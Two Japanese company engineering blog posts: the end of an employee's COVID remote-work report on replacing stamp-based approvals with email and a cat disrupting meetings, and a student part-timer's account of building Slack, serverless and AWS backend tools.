また、定時内に一日の仕事を終わらせなければならないという使命感も芽生え、効率を考えてタスク処理しています。 在宅ワークをするにあたり、自宅ではできない、仕事をするうえで不便なことも多々ありました。 例えば、これは日本の文化とも言えるのかもしれませんが、上長のハンコを必要とする承認作業。 事務作業をメインとする私の業務では、 ①上長の確認が必要な書類をプリント ②上長に内容を確認いただいてハンコをもらう ③しかるべき部署へ提出 という流れが多く発生します。 通常この流れで業務を遂行するには、少なくとも私、上長、しかるべき部署の担当者の3人は出社しないといけません。 これがマイナビ規模ともなれば、密は避けられない状況になります。 とりあえず そこで私は付け焼刃の対策として、メール承認という手段を取りました。 必要な書類を作成・データ化しておき、提出書類と合わせてメール添付したものを送付。 上長に内容を確認いただいて問題がなければ返信をもらい、これをハンコの代わりの証跡とする、という方法。 予め提出先の部署には、こういった流れでハンコの代わりとなるのか、証跡として有効なのか確認をしておく必要があります。 出社して作業するのと比べると明らかに手間は増えますが、最初のメールをテンプレート化しておけば、各々のスケジュールを把握してハンコ巡礼するより結果的に見て楽になったと言えます。 ニャンサムウェアの被害 巷でもちらほら話題になっていますが、 我が家でも、コロナの弊害としてニャンサムウェアが猛威を振るっています。 Webミーティング中だろうが作業中だろうが、どんなに忙しくてもお構いなしに乱入してきます。 特にうちの猫はよく鳴く子なので音声にまで侵入し、さらには画面に映りこむという被害が出ています。 緊急事態宣言解除、その後 現在は、緊急事態宣言解除に伴い出社する方も増えましたが、 密を避け感染拡大を防ぐため6月下旬現在でも引き続き在宅ワーク可能となっています。 今回は緊急的な措置の在宅ワークという事で作業しましたが、 コロナ禍でも対応できる手段があることは発見でしたし、勉強にもなりました。 時間や場所を自由に選べるような働き方が進んでいくのと同時に こういった事務作業に便利なツールの導入も進んでいけばいいなと思いました。 ここまでお読みいただきありがとうございます。 今後も不定期で更新していきますのでお楽しみに!
アバター
こんにちは、マイナビエンジニアブログ編集部です。 今回はITソリューション部のアルバイト体験レポート第4弾!バックエンド編です。 アルバイトが働いているイメージがないマイナビですが、実はこれまで紹介したITシステム職のアルバイトさん以外にも、学校や独学で学んだ知識を生かしつつ、マイナビ社員のサポートを受け、様々なことにチャレンジしながら働いている方もいます。 そんな学業とエンジニアを両立している学生アルバイトさんに体験レポートしていただきました。 はじめに 私は情報系の学部の大学生で、プログラミングにもっと触れたくて、コーディングのアルバイトを探していました。 Python, VSCodeというキーワードに魅力を感じて、AtCoderJobs経由で応募したところ、採用されました。 Web系の知識は大学の講義で少し勉強した程度で、バックエンドの知識もほどんどなかったため、まずはFlaskでWeb Serverを立ち上げるなどの基本的なところから始めさせてもらいました。 マイナビのアルバイトとしてバックエンド、特にサーバーレスなどを開発しています。 内容としましては、この環境でこういうものが作りたいというまだ細かく決まっていない依頼がくるので、自分でドキュメント等をいろいろ調べながら数週間かけて完成させるということを繰り返していきます。 次に、実際に作った主なものを時系列順で紹介したいと思います! シナリオ Slack App データベースのシナリオを読んで、SlackのBOTに流させるというアプリを作りました。 また、選択肢を提示させて、ユーザーが選んだ結果によってシナリオが分岐する機能を持たせました。 この時の私は、APIも分からないような状態でしたので、様々な箇所で詰まりましたが、先輩社員さんに助けてもらいました。 また、先輩社員さんなどのコードを見るという機会もあり、とても勉強になりました。 Web上の記事をGoogle Driveに転送する関数 ヘッドレスChromeを使ってWebページをPDF化して、Google Driveに保存するサーバーレス関数を作りました。 まずは、サーバーを実際に扱ってから始めていくという順序でしたので、比較的取り組みやすかったと思います。 また、これでNode.jsに初めて触れました。 AWSでAPI作成 ある特定の情報を取得するAPIをAWS LambdaとAPI Gatewayで作りました。 APIについて、いろいろと経験してから、実際に作る作業へと移行する順序がよかったと感じます。 マイナビの環境 業務内容 先輩方が作ったツール・APIを組み合わせて開発していくため、その仕様の詳細が書かれた英語のドキュメントや、日本語の記事を読むことが多いです。 それをもとに自分でコードを書いてみて、エラーメッセージを読んだり、検索したりしてデバッグを繰り返してプログラムを完成させます。 開発用の環境が与えられるので、あまり深く考えずにテストすることができます。 周囲の環境 自分の知識に適しながらも、新しいことを学べる案件をいただいていると感じます。 エラーなどで詰まってしまい、自分ではどうしようもない時には、詳しい社員さんに質問もできるので安心です。 また、細かい要件に関しては自分の裁量が大きいと感じます。 勤務時間 平日の業務時間のうち、自分で選んだ時間で働いています。 また、大学の勉強が忙しい場合など、すぐに勤務時間を変更してもらったり、長期の休みをもらったりと融通も利きやすいと思います。 編集部から いかがだったでしょうか。 企業にアルバイトとして働くというのは、学校や独学だけでは得られないことも多く、そこで働く人々の知識やノウハウを学びながら生かせる場でもあると思います。 マイナビには部署、職種、雇用形態の異なる多種多様な人材が肩を並べて働いています。 今後もマイナビで働く様々な方を紹介していきますので、是非ご期待ください。
アバター